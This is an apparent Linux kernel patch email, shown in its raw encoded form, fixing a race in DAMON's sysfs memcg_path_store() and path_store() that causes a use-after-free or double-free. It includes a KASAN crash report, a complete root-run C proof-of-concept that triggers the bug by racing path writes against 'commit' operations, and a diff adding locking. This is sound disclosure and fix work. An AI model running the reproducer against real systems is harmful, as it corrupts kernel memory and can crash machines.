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This creates a race with the kdamond thread, which reads these pointers in damon_sysfs_add_scheme_filters() and damos_sysfs_add_quota_score() via damon_call() during a "commit" operation. The race window is as follows: Thread A (commit): holds damon_sysfs_lock, triggers damon_call() kdamond thread: reads sysfs_filter->memcg_path in damon_sysfs_memcg_path_to_id() Thread B (sysfs): calls memcg_path_store() WITHOUT lock, kfree(filter->memcg_path), replaces pointer Since Thread B does not hold damon_sysfs_lock, the kdamond thread can observe a freed pointer, resulting in a use-after-free when damon_sysfs_memcg_path_eq() dereferences it for string comparison. KASAN reports the following on v7.0.0-rc5 with CONFIG_KASAN=3Dy: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D BUG: KASAN: double-free in memcg_path_store+0x6e/0xc0 Free of addr ffff888100a086c0 by task exp/149 CPU: 1 UID: 0 PID: 149 Comm: exp Not tainted 7.0.0-rc5-gd38efd7c139a #18 = PREEMPT(lazy) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/0= 1/2014 Call Trace: dump_stack_lvl+0x55/0x70 print_report+0xcb/0x5d0 kasan_report_invalid_free+0x94/0xc0 check_slab_allocation+0xde/0x110 kfree+0x114/0x3b0 memcg_path_store+0x6e/0xc0 kernfs_fop_write_iter+0x2fc/0x490 vfs_write+0x8e1/0xcc0 ksys_write+0xee/0x1c0 do_syscall_64+0xfc/0x580 entry_SYSCALL_64_after_hwframe+0x77/0x7f Allocated by task 147 on cpu 0 at 12.364295s: kasan_save_stack+0x24/0x50 kasan_save_track+0x17/0x60 __kasan_kmalloc+0x7f/0x90 __kmalloc_noprof+0x191/0x490 memcg_path_store+0x32/0xc0 kernfs_fop_write_iter+0x2fc/0x490 vfs_write+0x8e1/0xcc0 ksys_write+0xee/0x1c0 Freed by task 150 on cpu 0 at 13.373810s: kasan_save_stack+0x24/0x50 kasan_save_track+0x17/0x60 kasan_save_free_info+0x3b/0x60 __kasan_slab_free+0x43/0x70 kfree+0x137/0x3b0 memcg_path_store+0x6e/0xc0 kernfs_fop_write_iter+0x2fc/0x490 vfs_write+0x8e1/0xcc0 ksys_write+0xee/0x1c0 The buggy address belongs to the object at ffff888100a086c0 which belongs to the cache kmalloc-8 of size 8 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Fix this by holding damon_sysfs_lock while swapping the path pointer in both memcg_path_store() and path_store(). The actual kfree() is moved outside the lock since the old pointer is no longer reachable once replaced. Fixes: 490a43d07f16 ("mm/damon/sysfs-schemes: free old damon_sysfs_scheme_f= ilter->memcg_path on write") Signed-off-by: Junxi Qian --- #define _GNU_SOURCE #include #include #include #include #include #include #include #include #define DAMON_BASE "/sys/kernel/mm/damon/admin" static volatile int stop; static char memcg_path_file[1024], state_file[1024]; static char real_memcg_path[512] =3D "/"; static int num_extra_cgroups =3D 200; static char cgroup_base[256]; static int write_str(const char *path, const char *val) { int fd =3D open(path, O_WRONLY); if (fd < 0) return -errno; ssize_t r =3D write(fd, val, strlen(val)); int e =3D errno; close(fd); return r > 0 ? 0 : -e; } static int create_extra_cgroups(void) { struct stat st; char path[512]; int created =3D 0; if (stat("/sys/fs/cgroup/cgroup.controllers", &st) =3D=3D 0) strncpy(cgroup_base, "/sys/fs/cgroup", sizeof(cgroup_base)); else if (stat("/sys/fs/cgroup/memory", &st) =3D=3D 0) strncpy(cgroup_base, "/sys/fs/cgroup/memory", sizeof(cgroup_base)); else return 0; for (int i =3D 0; i < num_extra_cgroups; i++) { snprintf(path, sizeof(path), "%s/damon_poc_%d", cgroup_base, i); if (mkdir(path, 0755) =3D=3D 0) created++; } if (created > 0) snprintf(real_memcg_path, sizeof(real_memcg_path), "%s/damon_poc_0", cgroup_base); return created; } static void cleanup_extra_cgroups(void) { char path[512]; if (!cgroup_base[0]) return; for (int i =3D 0; i < num_extra_cgroups; i++) { snprintf(path, sizeof(path), "%s/damon_poc_%d", cgroup_base, i); rmdir(path); } } static void *path_writer(void *arg) { long tid =3D (long)arg; int i =3D 0; char buf[512]; while (!stop) { switch (i % 4) { case 0: snprintf(buf,sizeof(buf),"%s",real_memcg_path); break; case 1: snprintf(buf,sizeof(buf), "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX_%d_%ld",i,tid); brea= k; case 2: snprintf(buf,sizeof(buf),"YYYYYYYYYYYYYY_%d",i); break; case 3: snprintf(buf,sizeof(buf),"Z_%d",i); break; } write_str(memcg_path_file, buf); i++; } return NULL; } static void *committer(void *arg) { while (!stop) { if (write_str(state_file, "commit") =3D=3D 0) usleep(10); } return NULL; } static int setup_damon(void) { char path[1024]; int err; snprintf(path,sizeof(path),"%s/kdamonds/nr_kdamonds",DAMON_BASE); write_str(path,"1"); snprintf(path,sizeof(path), "%s/kdamonds/0/contexts/nr_contexts",DAMON_BASE); write_str(path,"1"); snprintf(path,sizeof(path), "%s/kdamonds/0/contexts/0/operations",DAMON_BASE); if (write_str(path,"paddr")) { write_str(path,"vaddr"); snprintf(path,sizeof(path), "%s/kdamonds/0/contexts/0/targets/nr_targets",DAMON_BASE); write_str(path,"1"); char pid[32]; snprintf(pid,sizeof(pid),"%d",getpid()); snprintf(path,sizeof(path), "%s/kdamonds/0/contexts/0/targets/0/pid_target",DAMON_BASE); write_str(path,pid); } snprintf(path,sizeof(path), "%s/kdamonds/0/contexts/0/schemes/nr_schemes",DAMON_BASE); write_str(path,"1"); snprintf(path,sizeof(path), "%s/kdamonds/0/contexts/0/schemes/0/action",DAMON_BASE); write_str(path,"stat"); snprintf(state_file,sizeof(state_file), "%s/kdamonds/0/state",DAMON_BASE); if ((err =3D write_str(state_file,"on"))) return err; snprintf(path,sizeof(path), "%s/kdamonds/0/contexts/0/schemes/0/filters/nr_filters",DAMON_BASE); write_str(path,"1"); snprintf(path,sizeof(path), "%s/kdamonds/0/contexts/0/schemes/0/filters/0/type",DAMON_BASE); write_str(path,"memcg"); snprintf(memcg_path_file,sizeof(memcg_path_file), "%s/kdamonds/0/contexts/0/schemes/0/filters/0/memcg_path", DAMON_BASE); write_str(memcg_path_file, real_memcg_path); return 0; } int main(int argc, char *argv[]) { int duration =3D 60, n_writers =3D 4; if (argc > 1) duration =3D atoi(argv[1]); if (argc > 2) num_extra_cgroups =3D atoi(argv[2]); if (getuid()) { fprintf(stderr,"Need root\n"); return 1; } create_extra_cgroups(); if (setup_damon()) { cleanup_extra_cgroups(); return 1; } sleep(1); pthread_t w[8], c; for (int i =3D 0; i < n_writers; i++) pthread_create(&w[i],NULL,path_writer,(void*)(long)i); pthread_create(&c,NULL,committer,NULL); sleep(duration); stop =3D 1; for (int i =3D 0; i < n_writers; i++) pthread_join(w[i],NULL); pthread_join(c,NULL); write_str(state_file,"off"); cleanup_extra_cgroups(); printf("Check: dmesg | grep -A20 'BUG: KASAN'\n"); } --- mm/damon/sysfs-schemes.c | 22 ++++++++++++++++------ 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/mm/damon/sysfs-schemes.c b/mm/damon/sysfs-schemes.c index 5186966da..005cfecb1 100644 --- a/mm/damon/sysfs-schemes.c +++ b/mm/damon/sysfs-schemes.c @@ -543,15 +543,20 @@ static ssize_t memcg_path_store(struct kobject *kobj, { struct damon_sysfs_scheme_filter *filter =3D container_of(kobj, struct damon_sysfs_scheme_filter, kobj); - char *path =3D kmalloc_array(size_add(count, 1), sizeof(*path), - GFP_KERNEL); + char *path, *old; =20 + path =3D kmalloc_array(size_add(count, 1), sizeof(*path), GFP_KERNEL); if (!path) return -ENOMEM; =20 strscpy(path, buf, count + 1); - kfree(filter->memcg_path); + + mutex_lock(&damon_sysfs_lock); + old =3D filter->memcg_path; filter->memcg_path =3D path; + mutex_unlock(&damon_sysfs_lock); + + kfree(old); return count; } =20 @@ -1196,15 +1201,20 @@ static ssize_t path_store(struct kobject *kobj, { struct damos_sysfs_quota_goal *goal =3D container_of(kobj, struct damos_sysfs_quota_goal, kobj); - char *path =3D kmalloc_array(size_add(count, 1), sizeof(*path), - GFP_KERNEL); + char *path, *old; =20 + path =3D kmalloc_array(size_add(count, 1), sizeof(*path), GFP_KERNEL); if (!path) return -ENOMEM; =20 strscpy(path, buf, count + 1); - kfree(goal->path); + + mutex_lock(&damon_sysfs_lock); + old =3D goal->path; goal->path =3D path; + mutex_unlock(&damon_sysfs_lock); + + kfree(old); return count; } =20 --=20 2.34.1